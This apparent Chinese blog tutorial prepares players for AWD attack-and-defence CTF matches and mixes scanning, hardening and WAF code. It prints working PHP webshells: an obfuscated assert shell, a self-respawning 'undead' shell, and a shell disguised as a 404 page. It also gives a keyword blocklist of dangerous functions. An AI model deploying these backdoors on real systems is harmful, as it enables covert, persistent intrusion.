天天看點

教你AWD比賽攻防怎麼準備?内含腳本解析

作者:草根院長
教你AWD比賽攻防怎麼準備?内含腳本解析

Attack With Defence

攻防兼備--賽制

比賽中每個隊伍維護多台伺服器,伺服器中存在多個漏洞,利用漏洞攻擊其他隊伍進行得分,修複本伺服器漏洞可以避免被其他隊伍攻擊導緻失分。

1.一般配置設定Web伺服器,伺服器(多數為Linux)某處存在flag(一般在根目錄下)

2.可能會提供一台流量分析虛拟機,可以下載下傳流量檔案進行資料分析(視比賽情況而定)

3.flag在主辦方的設定下每隔一定時間重新整理一輪

4.各隊一般都有自己的初始分數

5.flag一旦被其他隊伍拿走,該隊扣除一定分數

6.扣除的分數由擷取flag的隊伍均分

7.主辦方會對每個隊伍的服務進行check(檢查服務是否正常),服務當機扣除本輪flag分數,扣除的分值由服務check正常的隊伍均分

8.一般每個隊伍會給一個低權限使用者,非root權限

(具體規則以具體比賽規則為準)

先理清網絡拓撲關系,節點與各鍊路間的關聯。

比賽分工

線下賽一般3個人左右,2人攻擊,1人防禦,發現的漏洞可以攻擊其他隊伍,也要修複,攻防相輔相成,以攻為守。

競賽題型

主要題型為Web和Pwn,涉及語言多數為PHP,還有少量java、python。

Web主要是一些CMS和架構安全漏洞,如注入、上傳、反序列化等,依賴已知漏洞。

競賽流程

一般比賽會将加強環節和攻擊環節分開,先統一加強後再進行攻擊。

賽前資訊确認

1.比賽名稱

2.IP白名單:白名單一般用于防止外部惡意攻擊,如果賽方發現名單以外IP可能會進行封禁處理。

3.使用者登入伺服器,如:賬号test01密碼test01@123,端口3322,linux系統,登陸工具xshell、finalshell等。

4.token認證:token主要用于腳本身份憑證,用于自動化送出鑒别,虛拟IP為靶機通路網址。

5.伺服器端口:主要用于掃描其他選手靶機用來攻擊擷取到根目錄flag并送出得分。

6.flag送出處

7.接口:api:https://xxxx.com/submit/?token=[token]&flag=[flag{123456}](根據實際規則去更改)

AWD賽事

  1. 伺服器登入:通過ssh連接配接伺服器,拿到網絡拓撲,與隊友分工,檢查有無弱密碼,有的話對密碼進行修改(越複雜越好)。web服務背景登入也有可能存在弱密碼,一般admin:admin、admin:123456,需要立即修改,以免被getshell。
  2. 比賽開始前要第一時間備份伺服器中web目錄下的檔案(/var/www/html),如果伺服器在比賽中出現異常的情況,可以立即恢複到初始狀态。一般比賽可以提供3次左右的恢複設定的機會(可能會扣分),比賽時同時要備份資料檔案。
  3. 檔案監控、端口掃描等……

Attack

  • 資訊收集

主機探測一般用

nmap、httpscan

檢視主機ip

ipconfig windows

ifconfig linux

掃描C段存活主機

nmap -sn 192.168.0.0/24 掃描C段主機

httpscan.py 192.168.0.0/24 -t 30 掃描C段主機+線程

端口探測

一般先收集自己的主機端口資訊,挂背景全端口掃描防止端口遺漏

nmap -sV 192.168.0.1 掃描主機系統版本

nmap -sS 192.168.0.1 掃描主機常用端口

nmap -sS -p 80,445,3306,8080,8888 192.168.0.1 掃描主機部分端口

nmap -sS -p- 192.168.0.1 掃描主機全部端口

nmap官方文檔:https://nmap.org/man/zh/man-host-discovery.html

httpscan主機探測

應用發現

元件發現

find / -name "nginx.conf" 定位nginx目錄

find / -path "nginx" -name nginxconf 定位nginx配置目錄

find / -name "httpd.conf" 定位apache目錄

find / -path "apache" -name apacheconf 定位apache配置目錄

網站發現

find / -name "index.php" 定位網站目錄

日志發現

/var/log/nginx/ 預設nginx日志目錄

/var/log/apache/ 預設apache日志目錄

/var/log/apache2/ 預設apache日志目錄

/usr/local/tomcat/logs tomcat日志目錄

tail -f xxxx.log 實時重新整理滾動日志檔案

備份掃描

掃描工具BakFileScan、dirsearch

查找預留後門

有的比賽為了照顧其他選手,賽事方會預留一句話後門,可利用漏洞攻擊,可利用這個漏洞維持權限,達到每輪得分。将整個web目錄下載下傳到本地,使用hm.exe、D盾或者其他掃描工具得出

提前準備腳本

代碼審計

用于發現漏洞,進行漏洞修複

一句話木馬

<?php 
$a = chr(96^5);
$b = chr(57^79);
$c = chr(15^110);
$d = chr(58^86);
$e = '($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>           

配置為?b=))99)rhC(tseuqeR+lave

不死馬

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FIlE__);
$file = '1.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);}?>';
while(1){
  file_put_contents($file,$code);
  system('touch -m -d "2022-5-26 10:20:00" .1.php');
  usleep(5000);
}
?>           

殺掉不死馬

上傳上面的不死馬并通路,就會一直生成.1.php的一句話木馬(檔案名前加一個點,能更好地隐藏檔案)想要結束這個程序,先檢視程序,檢視對應的pid,再執行。

<?php
while(1){
  $pid = 1234;
  @unlink('.1.php');
  exec('kill -9 $pid');
}
?>           

建立一個和不死馬一樣名字的檔案夾,這樣不死馬就寫不進去

rm -rf .1.php | mkdir .1.php

執行system('kill -9 -1')

shell.php?shell=system('kill -9 -1');

重新開機服務

apache、web

但要求有一定的權限root

  • 攻擊利用

攻擊主機端口

利用未授權通路漏洞和弱密碼漏洞

工具:hydra(九頭蛇)、弱密碼暴力破解工具等

攻擊Web服務

Web背景弱密碼

漏洞資料庫

已知漏洞檢測工具

權限提升

一般提權 https://cloud.tencent.com/developer/article/1942516

提權腳本 https://github.com/SecWiki/linux-kernel-exploits

權限維持

拿到webshell後,需要進行維持權限,簡單的webshell會被一眼識破,在AWD中使用不死馬、反彈shell等留後門方式維持權限。

隐藏的檔案讀取

header(php'flag:',file_get_contents('/tmp/flag'));

可以的話,将flag資訊直接讀取并傳回到header頭中

快速得分

編寫python腳本或利用curl工具進行批量擷取flag

腳本or架構

Defence

網站備份

目的是防止修改源碼出錯,或者被對手惡意删除源碼,或者快速恢複網站防止被裁判組check探測服務存活失敗而丢分。

壓縮檔案

tar -cvf web.tar /var/www/html

zip -q -r web.zip /var/www/html

解壓檔案

tar -xvf web.tar -c /var/www/html

unzip web.zip -d /var/www/html

備份到伺服器

mv web.tar /tmp

mv web.zip /home/test

上傳下載下傳檔案

scp username@servername:/path/filename /tmp/local_destination 從伺服器下載下傳單個檔案到本地

scp /path/local_filename username@servername:/path 從本地上傳單個檔案到伺服器

scp -r username@servername:remote_dir/ /tmp/local_dir 從伺服器下載下傳整個目錄到本地scp -r /tmp/local_dir username@servername:remote_dir 從本地上傳整個目錄到伺服器

SSH相關工具

xshell

secureCRT

finalshell

FTP相關工具

FileZilla

WinSCP

SmartFTP

資料備份

資料庫配置資訊一般可以通過如config.php/web.conf等檔案擷取。

備份指定資料庫mysqldump -u username -p passwd databasename > bak.sql

備份所有資料庫mysqldump -all -databases > bak.sql

導入資料庫mysql -u username -p passwd database < bak.sql

資訊搜集

netstat -ano/-a 檢視端口情況

uname -a 系統資訊

ps -aux ps -ef 程序資訊

cat /etc/passwd 使用者情況

ls /home 使用者情況

id 用于顯示使用者id及所屬群組id

find / -type d -perm -002 可寫目錄檢查

grep -r "flag" /var/www/html 查找預設flag

密碼更改

資訊收集後,将未授權和弱密碼問題及時修複,伺服器ssh密碼、資料庫密碼和web服務密碼

passwd username ssh密碼修改

set password for mycms@localhost = password('123'); MySQL密碼修改

find /var/www/html -path 'config' 查找配置檔案中的密碼憑證

備份檢查

find /var/www/html -name ".tar"

find /var/www/html -name ".zip"

後門清除

通過指令檢視可疑檔案

find /var/www/html -name .php -mmin -20 檢視最近20分鐘修改檔案

find ./ -name '.php' | xargs wc -l | sort -u 尋找行數最短檔案

grep -r --include=.php 'a-zeval($_POST' /var/www/html 檢視包含關鍵字的php檔案

find /var/www/html -type f -name ".php" | xargs grep "eval(" |more

清除:河馬webshell和D盾清除

<?php@eval($_GET['cmd']);?>

<?php@eval($_POST['cmd']);?>

<?php@eval($_REQUESTS['cmd']);?><%Runtime.getRuntime().exec(request.getParameter('cmd'));%>

<%eval request("cmd")%>

<%execute(request("cmd"))%>

寫木馬殺死不死馬程序

<?php system("kill -9 pid;rm -rf .shell.php");?>           

後門使用者清除:UID大于500的都是非系統賬号,500以下的都為系統保留的賬号使用userdel -r username 删除賬戶

部分後門過于隐蔽,可使用ls -al檢視所有檔案及檔案修改時間和内容進行綜合判斷,進而删除

僞裝後門

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 NOT FOUND</title>
</head><body>
<h1>NOT FOUND</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 NOT FOUND');?>
關閉程序
ps -aux
kill -9 pid           

關閉端口

netstat -anp

firewall-cmd --zone=public --remove-port=80/tcp -permanent 關閉端口

firewall-cmd -reload 重載防火牆

漏洞修複

漏洞修複遵循保證服務不長時間當機的情況下進行修複,多使用安全過濾函數,能修複盡量修複,不能修複先注釋或删除相關代碼,但需保證頁面顯示正常。

可以下載下傳檔案到本地進行修改後上傳到伺服器進行覆寫操作,也可通過vim編輯器進行代碼修複

操作參考:https://www.cnblogs.com/iAmSoScArEd/p/10651947.html

檔案監控

檔案監控可及時發現木馬檔案生成,及時删除防止丢分

https://github.com/TheKingOfDuck/FileMonitor

使用系統chattr +i指令linux下的檔案有隐藏屬性,可用lsattr指令檢視。其中有一個i屬性,表示不得更改任意檔案或目錄,若已經有root或者sudo權限,即可使用chattr +i修改檔案隐藏屬性,這樣所有使用者都不能對該檔案或目錄進行修改删除等操作,若想進行修改,必使用chattr -i取消隐藏屬性。

防止系統中某個關鍵檔案被修改

chattr +i /etc/profile

将/var/www/html目錄下的檔案設定為不允許任何人修改

chattr -R +i /var/www/html

使用python的第三方庫pyinotify

python setup.py install

python -m pyinotify monitoring_path

部署WAF

waf.php

<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');  
function waf() {
    if (!function_exists('getallheaders')) {
        function getallheaders() {
            foreach ($_SERVER as $name => $value) {
                if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
            }
            return $headers;
        }
    }
    $get = $_GET;
    $post = $_POST;
    $cookie = $_COOKIE;
    $header = getallheaders();
    $files = $_FILES;
    $ip = $_SERVER["REMOTE_ADDR"];
    $method = $_SERVER['REQUEST_METHOD'];
    $filepath = $_SERVER["SCRIPT_NAME"];
    //rewirte shell which uploaded by others, you can do more
    foreach ($_FILES as $key => $value) {
        $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
        file_put_contents($_FILES[$key]['tmp_name'], "virink");
    }
    unset($header['Accept']); //fix a bug
    $input = array(
        "Get" => $get,
        "Post" => $post,
        "Cookie" => $cookie,
        "File" => $files,
        "Header" => $header
    );
    //deal with
    $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
    $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
    $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
    $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
    $vpattern = explode("|", $pattern);
    $bool = false;
    foreach ($input as $k => $v) {
        foreach ($vpattern as $value) {
            foreach ($v as $kk => $vv) {
                if (preg_match("/$value/i", $vv)) {
                    $bool = true;
                    logging($input);
                    break;
                }
            }
            if ($bool) break;
        }
        if ($bool) break;
    }
}
function logging($var) {
  date_default_timezone_set("Asia/Shanghai");//修正時間為中國準确時間
  $time=date("Y-m-d H:i:s");//将時間指派給變量$time
    file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
    // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
    
}
waf();
?>           

取決于比賽規則

常見PHP網站系統WAF添加路徑

DiscuzX2 \config\config_global.php

Wordpress \wp-config.php

Metinfo \include\head.php

PHPCMS V9 \phpcms\base.php

PHPWIND8.7 \data\sql_config.php

DEDEcms \data\common.inc.php

常用指令

ssh <-p port> username@ip

scp filepath username@ip:存放路徑

cat /root/.bash_historylast -n 5|awk '{print $!}' 顯示最近登入的5個賬号

cat /etc/passwd|awk -F ':' '{print $1}' 顯示/etc/passwd的賬戶

awk -F: '{if($3==0)print $1}' /etc/passwd 檢視UID為0的賬号

find . -name ".php" -perm 4777 查找權限777的檔案

find ./ -mtime 0 -name ".php" 查找24小時内被修改的PHP檔案

netstat -antulp | grep EST 檢視已建立的網絡連接配接及程序

lsof -i:port

netstat -tunlp|grep port 檢視指定端口被哪個程序占用

iptables -I INPUT -s source_ip[/mask] -j DROP 封殺某個IP或IP段

iptables -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP 禁止從某個主機ssh遠端通路登陸到本機

crontab [-u user] file_name crontab [-u user] [-e |-l| -r] 定時任務,在固定的時間間隔執行指定的系統指令或shell script

netstat -ant|awk|grep|sed -e -e|sort|uniq -c|sort -rn 檢測所有的tcp連接配接數量及狀态

cat /var/log/apache2/access.log|cut -f1 -d|sort|uniq -c|sort -k -r|head - 檢視頁面通路排名前十的IP

cat /var/log/apache2/access.log|cut -f4 -d|sort|uniq -c|sort -k -r|head -檢視頁面通路排名前十的URL

網絡控制

隻開放一些比賽用的必要端口,防止後門連接配接

開放ssh

iptables -A INPUT -p tcp --dport 22 -j ACCEPT

iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT

打開80端口

iptables -A INPUT -p tcp --dport 80 -j ACCEPT

iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT

開啟多端口簡單用法

iptables -A INPUT -p tcp -m multiport --dport 22,80,8080 -j ACCEPT

限制IP連接配接數和連接配接速率

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT 單個IP的最大連接配接數為30

iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT

iptables -t filter -A FORWARD -s 1.1.1.1 -d 1.1.1.2 禁止從客戶機1.1.1.1通路1.1.1.2上的任何服務

iptables -I INPUT -s 1.1.1.1 -j DROP 封殺1.1.1.1這個IP

過濾異常封包

iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN 表示SYN FIN ACK RST的辨別都檢查,但隻比對SYN辨別

iptables -A INPUT -p tcp --syn 比對SYN辨別位iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP 檢查所有的辨別位,比對到FIN URG PSH的丢棄

iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP 丢棄沒辨別位的包

iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP 比對到SYN RST的丢棄

iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT 防DDOS

流量分析

在比賽機器上使用指令進行流量抓取

tcpdump -s 0 -w flow_log.pcap port 9999

日志分析

analys_log.php

防守架構

PS:作為一名AWD比賽選手,我們也要做好寫批量擷取及送出腳本的準備奧